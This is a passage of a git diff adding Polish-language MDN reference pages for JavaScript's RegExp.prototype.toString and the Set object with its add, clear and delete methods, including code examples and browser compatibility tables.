+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toString
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca łańcuch znaków reprezentujący określony obiekt.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>regexObj</var>.toString();</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Obiekt {{jsxref("RegExp")}} przypisuje <code>toString()</code> metodzie obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektu {{jsxref("RegExp")}}, metoda <code>toString()</code> zwraca łańcuch znaków reprezentujący obiekt.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_toString" name="Przyk.C5.82ad:_Zastosowanie_toString">Przykład: Zastosowanie <code>toString()</code></h3>
+
+<p>Następujący przykład wyświetla wartość łańcucha znaków obiektu <code>RegExp</code>:</p>
+
+<pre class="brush: js"><code class="language-js"><span class="token keyword">var</span> myExp <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">RegExp</span><span class="token punctuation">(</span><span class="token string">'a+b+c'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
+console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span>myExp<span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // </span></code><code class="language-js"><span class="token comment">wyświetli</span></code><code class="language-js"><span class="token comment"> '/a+b+c/'
+</span>
+<span class="token keyword">var</span> foo <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">RegExp</span><span class="token punctuation">(</span><span class="token string">'bar'</span><span class="token punctuation">,</span> <span class="token string">'g'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
+console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span>foo<span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // </span></code><code class="language-js"><span class="token comment">wyświetli</span></code><code class="language-js"><span class="token comment"> '/bar/g'</span></code>
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/set/index.html b/files/pl/web/javascript/referencje/obiekty/set/index.html
new file mode 100644
index 0000000000..ca9cc37a93
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/set/index.html
@@ -0,0 +1,486 @@
+---
+title: Set
+slug: Web/JavaScript/Referencje/Obiekty/Set
+tags:
+ - ECMAScript 2015
+ - ECMAScript6
+ - Global Objects
+ - JavaScript
+ - Object
+ - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set
+---
+<div>{{JSRef}}</div>
+
+<p>Obiekt <code><strong>Set</strong></code> umożliwia przechowywanie <em>unikalnych </em>wartości każdego typu, zarówno {{Glossary("Primitive", "primitywów")}} jak i obiektów.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">new Set([<em>iterable</em>]);</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>Jeżeli przekażesz <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">obiekt iterowalny</a>, wszystkie jego elementy zostaną dodane do nowego <code>Set</code>. Podczas gdy nie przekażemy żadnego parametru lub wartość parametru będzie równa <em><code>null</code></em>, zostanie stworzony pusty <code>Set</code>.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Nowy obiekt <code>Set</code>.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Obiekt <code><em>Set</em></code> jest kolekcją wartości. Możesz iterować po elementach <code><em>Set</em></code> w kolejności, w której zostały dodane. Wartość w <code><em>Set</em></code> <strong>może występować tylko jeden raz</strong>.</p>
+
+<h3 id="Równość_wartości">Równość wartości</h3>
+
+<p>Dlatego, że każda wartość w <code>Set </code>musi być unikalna, musi zostać to sprawdzone. We wcześniejszych specyfikacjach ECMAScript nie było to oparte na tym samym algorytmie co w przypadku operatora ===. Konkretnie dla Set +0 (co jest tym samym co -0) i -0 były innymi wartościami. W specyfikacji ECMAScript 2015 zostało to zmienione. Zobacz "Value equality for -0 and 0" w tabeli <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Set#Kompatybilność_przeglądarek">Kompatybilność z przeglądarkami</a>.</p>
+
+<p><code>NaN</code> i <code>undefined</code> mogą być przechowywane w <code>Set</code>. <code>NaN</code> w <code>Set</code> uważane jest za równe <code>NaN</code>, podczas gdy <code>NaN !== NaN</code> zwraca <code>true</code></p>
+
+<h2 id="Własności">Własności</h2>
+
+<dl>
+ <dt><code>Set.length</code></dt>
+ <dd>Wartość <code>length</code> zawsze wynosi 0.</dd>
+ <dt>{{jsxref("Set.@@species", "get Set[@@species]")}}</dt>
+ <dd>Funkcja wykorzystywana do stworzenia pochodnych obiektów.</dd>
+ <dt>{{jsxref("Set.prototype")}}</dt>
+ <dd>Reprezentuje prototyp konstruktora <code>Set.</code> Pozwala na dodanie własności do obiektu <code>Set</code>.</dd>
+</dl>
+
+<h2 id="Instancje_Set"><font face="consolas, Liberation Mono, courier, monospace">Instancje <code>Set</code></font></h2>
+
+<p>Wszystkie instancje <code>Set</code> dziedziczą od {{jsxref("Set.prototype")}}.</p>
+
+<h3 id="Własności_2">Własności</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Set/prototype','Properties')}}</p>
+
+<h3 id="Metody">Metody</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Set/prototype','Methods')}}</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_obiektu_Set">Użycie obiektu <code>Set</code></h3>
+
+<pre class="brush: js">var mySet = new Set();
+
+mySet.add(1); // Set { 1 }
+mySet.add(5); // Set { 1, 5 }
+mySet.add(5); // Set { 1, 5 }
+mySet.add('some text'); // Set { 1, 5, 'some text' }
+var o = {a: 1, b: 2};
+mySet.add(o);
+
+mySet.add({a: 1, b: 2}); // o jest referencją do innego obiektu, więc dwa obiekty zostają dodane do Set.
+
+mySet.has(1); // true
+mySet.has(3); // false, 3 nie zostało dodane do Set.
+mySet.has(5); // true
+mySet.has(Math.sqrt(25)); // true
+mySet.has('Some Text'.toLowerCase()); // true
+mySet.has(o); // true
+
+mySet.size; // 5
+
+mySet.delete(5); // Usuwa 5 z Set.
+mySet.has(5); // false, 5 zostało usunięte.
+
+mySet.size; // 4, usuneliśmy jedną wartość.
+console.log(mySet);// Set {1, "some text", Object {a: 1, b: 2}, Object {a: 1, b: 2}}</pre>
+
+<h3 id="Iterowanie_po_Set.">Iterowanie po Set.</h3>
+
+<pre class="brush: js">// Iterowanie po items w Set.
+// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2}
+for (let item of mySet) console.log(item);
+
+// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2}
+for (let item of mySet.keys()) console.log(item);
+
+// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2}
+for (let item of mySet.values()) console.log(item);
+
+// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2}
+//(key i value są takie same)
+for (let [key, value] of mySet.entries()) console.log(key);
+
+// zamienia Set na Array, przy użyciu Array.from
+var myArr = Array.from(mySet); // [1, "some text", {"a": 1, "b": 2}]
+
+// następujące funkcje również zadziałają, jeżeli skrypt odpalony jest w dokumencie HTML
+mySet.add(document.body);
+mySet.has(document.querySelector('body')); // true
+
+// zamiana Array na Set i na odwrót
+mySet2 = new Set([1, 2, 3, 4]);
+mySet2.size; // 4
+[...mySet2]; // [1, 2, 3, 4]
+
+// Set z wartościami, które są w set1 i set2, może być uzyskany następująco
+var intersection = new Set([...set1].filter(x =&gt; set2.has(x)));
+
+// Set z różnicami wartości set1 i set2 może być uzyskany następująco
+var difference = new Set([...set1].filter(x =&gt; !set2.has(x)));
+
+// iterowanie po Set za pomocą .forEach
+mySet.forEach(function(value) {
+ console.log(value);
+});
+// 1
+// 2
+// 3
+// 4</pre>
+
+<h3 id="Implementacja_podstawowych_operacji_Set">Implementacja podstawowych operacji <code>Set</code></h3>
+
+<pre class="brush: js">Set.prototype.isSuperset = function(subset) {
+ for (var elem of subset) {
+ if (!this.has(elem)) {
+ return false;
+ }
+ }
+ return true;
+}
+
+Set.prototype.union = function(setB) {
+ var union = new Set(this);
+ for (var elem of setB) {
+ union.add(elem);
+ }
+ return union;
+}
+
+Set.prototype.intersection = function(setB) {
+ var intersection = new Set();
+ for (var elem of setB) {
+ if (this.has(elem)) {
+ intersection.add(elem);
+ }
+ }
+ return intersection;
+}
+
+Set.prototype.difference = function(setB) {
+ var difference = new Set(this);
+ for (var elem of setB) {
+ difference.delete(elem);
+ }
+ return difference;
+}
+
+// Przykłady
+var setA = new Set([1, 2, 3, 4]),
+ setB = new Set([2, 3]),
+ setC = new Set([3, 4, 5, 6]);
+
+setA.isSuperset(setB); // =&gt; true
+setA.union(setC); // =&gt; Set [1, 2, 3, 4, 5, 6]
+setA.intersection(setC); // =&gt; Set [3, 4]
+setA.difference(setC); // =&gt; Set [1, 2]
+
+</pre>
+
+<h3 id="Relacje_z_Tablicami_(Array)">Relacje z Tablicami (<code>Array</code>)</h3>
+
+<pre class="brush: js">var myArray = ['value1', 'value2', 'value3'];
+
+// Użycie konstruktora Set do zamiany Array na Set.
+var mySet = new Set(myArray);
+
+mySet.has('value1'); // =&gt; true
+
+// Użycie spread operator do zamiany Set na Array.
+console.log([...mySet]); // Will show you exactly the same Array as myArray</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-set-objects', 'Set')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Początkowa definicja.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-set-objects', 'Set')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>
+ <p>{{ CompatChrome(38) }} [1]</p>
+ </td>
+ <td>12</td>
+ <td>{{ CompatGeckoDesktop("13") }}</td>
+ <td>{{ CompatIE("11") }}</td>
+ <td>25</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td>Constructor argument: <code>new Set(iterable)</code></td>
+ <td>{{ CompatChrome(38) }}</td>
+ <td>12</td>
+ <td>{{ CompatGeckoDesktop("13") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>9.0</td>
+ </tr>
+ <tr>
+ <td>iterable</td>
+ <td>{{ CompatChrome(38) }}</td>
+ <td>12</td>
+ <td>{{ CompatGeckoDesktop("17") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td><code>Set.add()</code> returns the set</td>
+ <td>{{ CompatChrome(38) }}</td>
+ <td>12</td>
+ <td>{{ CompatGeckoDesktop("13") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td><code>Set.clear()</code></td>
+ <td>{{ CompatChrome(38) }}</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop("19")}}</td>
+ <td>{{ CompatIE("11") }}</td>
+ <td>25</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td><code>Set.keys(), Set.values(), Set.entries()</code></td>
+ <td>{{ CompatChrome(38) }}</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop("24")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td><code>Set.forEach()</code></td>
+ <td>{{ CompatChrome(38) }}</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop("25")}}</td>
+ <td>{{ CompatIE("11") }}</td>
+ <td>25</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td>Value equality for -0 and 0</td>
+ <td>{{ CompatChrome(38) }}</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop("29")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>{{CompatSafari(9)}}</td>
+ </tr>
+ <tr>
+ <td>Constructor argument: <code>new Set(null)</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop("37")}}</td>
+ <td>{{CompatIE(11)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatSafari(7.1)}}</td>
+ </tr>
+ <tr>
+ <td>Monkey-patched <code>add()</code> in Constructor</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop("37")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatSafari(9)}}</td>
+ </tr>
+ <tr>
+ <td><code>Set[@@species]</code></td>
+ <td>{{ CompatChrome(51) }}</td>
+ <td>13</td>
+ <td>{{CompatGeckoDesktop("41")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatOpera(38) }}</td>
+ <td>{{CompatSafari(10)}}</td>
+ </tr>
+ <tr>
+ <td><code>Set()</code> without <code>new</code> throws</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop("42")}}</td>
+ <td>{{CompatIE(11)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>9</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(38)}} [1]</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{ CompatGeckoMobile("13") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ <tr>
+ <td>Constructor argument: <code>new Set(iterable)</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(38)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{ CompatGeckoMobile("13") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>9</td>
+ </tr>
+ <tr>
+ <td>iterable</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{ CompatGeckoMobile("17") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ <tr>
+ <td><code>Set.clear()</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatChrome(38) }}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("19")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ <tr>
+ <td><code>Set.keys(), Set.values(), Set.entries()</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatChrome(38) }}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("24")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ <tr>
+ <td><code>Set.forEach()</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatChrome(38) }}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("25")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ <tr>
+ <td>Value equality for -0 and 0</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatChrome(38) }}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("29")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>9</td>
+ </tr>
+ <tr>
+ <td>Constructor argument: <code>new Set(null)</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("37")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>8</td>
+ </tr>
+ <tr>
+ <td>Monkey-patched <code>add()</code> in Constructor</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("37")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>9</td>
+ </tr>
+ <tr>
+ <td><code>Set[@@species]</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("41")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10</td>
+ </tr>
+ <tr>
+ <td><code>Set()</code> without <code>new</code> throws</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("42")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>9</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The feature was available behind a preference from Chrome 31. In <code>chrome://flags</code>, activate the entry “Enable Experimental JavaScript”.</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/set/set.prototype.add()/index.html b/files/pl/web/javascript/referencje/obiekty/set/set.prototype.add()/index.html
new file mode 100644
index 0000000000..397939f84e
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/set/set.prototype.add()/index.html
@@ -0,0 +1,134 @@
+---
+title: Set.prototype.add()
+slug: Web/JavaScript/Referencje/Obiekty/Set/Set.prototype.add()
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/add
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <strong>add()</strong> dodaje nowy element o określonej wartości (<code>value</code>) na koniec obieku <code>Set</code>.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.add(value);</code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>Wymagany parametr. Wartość elementu, która zostanie dodana do obieku <code>Set</code>.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Obiekt <code>Set</code>.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_metody_add">Użycie metody add</h3>
+
+<pre class="brush: js">var mySet = new Set();
+
+mySet.add(1);
+mySet.add(5).add('some text'); // można stworzyć "łańcuch"
+
+console.log(mySet);
+// Set [1, 5, "some text"]
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-set.prototype.add', 'Set.prototype.add')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Początkowa definicja</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-set.prototype.add', 'Set.prototype.add')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>38</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("13.0")}}</td>
+ <td>11</td>
+ <td>25</td>
+ <td>7.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>38</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("13.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specyficzne_zachowania_w_przeglądarkach">Specyficzne zachowania w przeglądarkach</h2>
+
+<ul>
+ <li>W Firefox 33 {{geckoRelease("33")}} i wcześniejszych wersjach, <code>Set.prototype.add</code> zwracał <code>undefined</code> i nie można było stworzyć "łańcucha". Błąd został naprawiony ({{bug(1031632)}}). Również w Chrome/v8 występuje ten <a href="https://code.google.com/p/v8/issues/detail?id=3410">problem</a>.</li>
+</ul>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+ <li>{{jsxref("Set.prototype.has()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/set/set.prototype.clear()/index.html b/files/pl/web/javascript/referencje/obiekty/set/set.prototype.clear()/index.html
new file mode 100644
index 0000000000..85ca894da9
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/set/set.prototype.clear()/index.html
@@ -0,0 +1,124 @@
+---
+title: Set.prototype.clear()
+slug: Web/JavaScript/Referencje/Obiekty/Set/Set.prototype.clear()
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/clear
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <strong>clear()</strong> usuwa wszystkie elementy obiektu <code>Set</code>.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.clear();</code></pre>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_metody_clear">Użycie metody clear</h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add(1);
+mySet.add('foo');
+
+mySet.size; // 2
+mySet.has('foo'); // true
+
+mySet.clear();
+
+mySet.size; // 0
+mySet.has('bar') // false
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Początkowa definicja.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>38</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("19.0")}}</td>
+ <td>11</td>
+ <td>25</td>
+ <td>7.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("19.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/set/set.prototype.delete()/index.html b/files/pl/web/javascript/referencje/obiekty/set/set.prototype.delete()/index.html
new file mode 100644
index 0000000000..7071c9e4eb
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/set/set.prototype.delete()/index.html
@@ -0,0 +1,102 @@
+---
+title: Set.prototype.delete()
+slug: Web/JavaScript/Referencje/Obiekty/Set/Set.prototype.delete()
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <strong>delete()</strong> usuwa określony element z obiektu <code>Set</code>.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.delete(value);</code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>Wymagany parametr. Wartość elementu, która zostanie usunięta z obiektu <code>Set</code>.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p><code>true </code>jeżeli element został pomyślnie usunięty, w innym wypadku <code>false</code>.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_metody_delete">Użycie metody delete</h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add('foo');
+
+mySet.delete('bar'); // Zwraca false. Brak elementu "bar" do usunięca.
+mySet.delete('foo'); // Zwraca true. Usunięto pomyślnie.
+
+mySet.has('foo'); // Zwraca false. Element "foo" nie znajduje się już w Set.
+</pre>
+
+<p>Jak usunąć obiekt z Set:</p>
+
+<pre class="brush: js">var points = new Set(); // Tworzy Set
+
+points.add({x: 10, y: 20}); // Dodaje obiekt do Set
+points.add({x: 20, y: 30}); // Dodaje obiekt do Set
+
+// Usuwa point, dla którego `x &gt; 10`
+points.forEach(function(point){
+ if(point.x &gt; 10){
+ points.delete(point);
+ }
+})
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Początkowa definicja</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<p> </p>
+
+<div class="hidden">
